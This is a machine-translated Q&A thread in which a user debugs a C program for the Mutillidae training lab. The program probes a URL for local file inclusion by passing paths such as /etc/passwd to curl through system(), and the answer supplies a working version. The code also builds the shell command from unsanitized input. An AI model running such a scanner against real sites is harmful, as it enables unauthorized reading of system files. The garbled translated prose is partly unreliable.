2016-11-02 60 views
1

這是一個稱爲「Mutillidae」的測試實驗室環境。C編程元素數組到sprintf()

此程序爭奪的argv [1]和地方進入命令 「捲曲< [的argv [1]>」,然後 它抓住從lfi_test文件並將其置於一個線到第二 %S中的sprintf()。該程序執行%100,我只是遇到格式問題(| grep root)。相反,整個源代碼顯示包括整個/ etc/passwd文件。

如果我取消註釋行#20:

int passwd = "/etc/passwd"; 

和線#27更改爲

sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd); 

我能夠獲得格式的結果我想要的。 如果有人能幫助我,請提前致謝。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char * argv[]) 
{ 
    printf("\nlfi_check searches for system files on a vulnerable URL\n"); 
    printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n"); 

    if (argc != 2) 
    { 
    printf("\nusage ./lfi_check http://target.php?page= \n"); 
    } 
    else 
    { 
    char url[200]; 
    int i; 
    FILE *fp; 
    char line[200]; 
    char *root = "| grep root" 
// char *passwd = "/etc/passwd"; 

    fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+"); 

    for (i=0; i <= 1; i++) 
    { 
     fgets(line,sizeof(line), fp); 
     sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root); 
//  printf("%s", line); 
     system(url); 
    } 

    } 
} 
+1

'的/ etc/passwd'是一個字符串,它不應該被分配給一個'int'。需要使用像char * passwd =「/ etc/passwd」這樣的分配。 – DUman

+0

@DUMAN感謝那個男人,我改變了它並記下了它。 – Freshnuts

+1

'line'在它的結尾會有一個\ n。 – immibis

回答

0

從文件的原因線-1未在工作..

sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root); 

是由於線(/ etc/passwd中\ n)的正被1切割和 它沒」允許將char *根變量實現爲字符串格式。

函數strtok()使用分隔符將行分隔爲一系列的標記。然後,我可以在sprintf()之前將「/ etc/passwd \ n」解析爲「/ etc/passwd」。

由於Duman的& immibis

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char * argv[]) 
{ 
    printf("\nlfi_check searches for system files on a vulnerable URL\n"); 
    printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n"); 

    if (argc != 2) 
    { 
    printf("\nusage ./lfi_check http://target.php?page= \n"); 
    } 
    else 
    { 
    char url[4096]; 
    int i; 
    FILE *fp; 
    char line[200]; 
    char *root = " | grep root"; 

    fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+"); 

    for (i=0; i <= 2; i++) 
    { 
     fgets(line,sizeof(line), fp); 
     strtok(line, "\n"); 
     sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root); 
     system(url); 
    } 

    } 
}